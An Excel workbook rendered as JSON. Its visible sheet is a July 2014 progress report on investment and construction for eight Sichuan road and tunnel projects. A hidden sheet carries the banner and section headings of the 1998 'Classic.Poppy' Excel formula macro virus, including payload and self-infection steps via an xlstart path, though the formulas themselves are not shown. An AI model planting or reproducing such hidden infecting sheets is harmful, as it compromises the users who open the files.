{"text_format":"3","workbook":"xls","n_sheets":4,"sheets":["7月","Sheet2","Sheet3","8xKy6E4D"],"not_rendered":{"external_links":35,"defined_names":146,"comments":1},"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"7月","index":0,"n_rows":16,"n_cols":12,"rows_kept":16,"merged":[[0,0,0,11],[2,0,3,0],[2,1,3,1],[2,2,3,2],[2,3,3,3],[2,4,3,4],[2,5,3,5],[2,6,3,6],[2,7,3,7],[2,8,2,9],[2,10,3,10],[2,11,3,11],[5,0,6,0],[5,1,6,1],[5,3,6,3],[5,4,6,4],[5,5,6,5],[5,6,6,6],[5,7,6,7],[5,8,6,8],[5,9,6,9],[5,10,6,10],[5,11,6,11],[11,0,12,0],[11,1,12,1],[11,3,12,3],[11,4,12,4],[11,5,12,5],[11,6,12,6],[11,7,12,7],[11,8,12,8],[11,9,12,9],[11,10,12,10],[11,11,12,11],[14,0,14,1]],"flags":["formulas_cached_only"]}
["兴蜀公司管理项目投资及形象进度完成情况（截止2014年7月底）"]
[{"$nulls":11},"统计：工程部"]
["序号","项目名称","建设规模\n(Km)","概算投资(亿元)","本年计划（亿元）","本月完成（亿元）","本年完成（亿元）","占年计划（%）","开工累计\n完成（亿元）",null,"占概算投资（%）","累计形象进度完成情况"]
[{"$nulls":8},"全部","其中\n建安"]
[1,"映卧路",44.5,11.54,2.15,0.0719,1.4045,{"v":0.6532558139534884,"d":"65.3%"},4.5024,3.9358,{"v":0.39015597920277295,"d":"39.0%"},"累计完成路基土石方33.94万立方米，占总量的95%。累计完成挡防工程4.3万立方米，占合同总量的81.1%。累计完成桥梁下部构造77.3%，上部构造完成安装65.7%。完成隧道开挖6390米，占总长度12722米的50.2%，完成隧道衬砌5065米，占总量的39.8%。"]
[2,"巴朗山\n隧道","隧道:7.954",9.7,1.6,0.125,0.6868,{"v":0.42924999999999996,"d":"42.9%"},4.7635,4.2172,{"v":0.4910824742268041,"d":"49.1%"},"隧道主洞开挖完成5626米，占总长度7955米的70.7%，完成隧道衬砌4921米，占总量的61.9%。"]
[null,null,"引道:0.846"]
[3,"东海路",270.5,45.64,5,0.839,1.6868,{"v":0.33736,"d":"33.7%"},34.8428,31.4436,{"v":0.7634268185801928,"d":"76.3%"},"路基、桥梁全部完成，路面全部完成。隧道完成开挖9343米，占总量10751m的86.9%，完成隧道衬砌8639米，占总量的80.4%。"]
[4,"理亚路",224.7,22.95,5,0.9237,3.2781,{"v":0.65562,"d":"65.6%"},17.2868,14.6452,{"v":0.7532374727668846,"d":"75.3%"},"路基桥梁全部完成。路面底基层完成98.2%，基层完成98.1%，下面层完成98%，上面层完成30.3%，交安工程完成61.9%。"]
[5,"G318雅安",120.082,12.63,4,1.2098,2.049,{"v":0.51225,"d":"51.2%"},2.049,1.0094,{"v":0.16223277909738715,"d":"16.2%"},"已完成路基土石方22.8万m3，占设计量的25%，挡墙完成5.34万方，占设计量23.3%。桥梁完成下部构造53.1%，全线隧道累计进洞69m，占总量3968m的1.9%。"]
[6,"G351乐\n英至夹\n金山",156.323,26.91,6,0.2485,1.9403,{"v":0.3233833333333333,"d":"32.3%"},1.9403,1.8304,{"v":0.07210330732069863,"d":"7.2%"},"累计完成路基土石方32.61万立方米，占总量的27%。完成挡防工程9.47万立方米,占总量的47.4%,累计完成桥梁下部构造46.4%，完成隧道掘进915m，占总量14868m的6.2%，完成隧道衬砌249m,占总量的1.7%"]
[7,"雪山梁子","隧道:7.966",12.12,1.43,0.3294,0.932,{"v":0.6517482517482518,"d":"65.2%"},3.2719,3.1531,{"v":0.26995874587458746,"d":"27.0%"},"隧道主洞开挖累计完成2486米，占总长度7966米的31.2%。完成隧道衬砌2075米，占总量的26.1%。"]
[null,null,"引道:10.946"]
[8,"亚赤路",75.27,5.02,1.2,0.1648,0.1648,{"v":0.13733333333333334,"d":"13.7%"},0.1648,0.1175,{"v":0.032828685258964145,"d":"3.3%"},"已完成路基土石方50.7万m3，占设计量的23%，挡墙完成0.5万方，占设计量3.5%。桥梁完成下部构造1.3%。"]
["合计",null,917.127,146.51000000000002,26.38,3.9121,12.1423,{"v":0.460284306292646,"d":"46.0%"},68.8215,60.3522,{"v":0.46973926694423584,"d":"47.0%"}]
["备注：映卧路、巴朗山、东海路、理亚路、G318雅安、亚赤路为全概算投资。G351、雪山梁子项目其他费用只包括监理、业主试验室及建设管理费"]

{"sheet":"Sheet2","index":1,"n_rows":0,"n_cols":0,"rows_kept":0,"flags":["formulas_cached_only"]}

{"sheet":"Sheet3","index":2,"n_rows":0,"n_cols":0,"rows_kept":0,"flags":["formulas_cached_only"]}

{"sheet":"8xKy6E4D","index":3,"n_rows":26,"n_cols":3,"rows_kept":26,"hidden":true,"flags":["formulas_cached_only"]}
["截止十月工作表1.xls"]
["Book1"]
["C:\\Program Files\\Microsoft Office\\OFFICE11\\xlstart\\Book1.",null,"**Auto and On Sheet Starts Here**"]
[{"$error":"#N/A"}]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]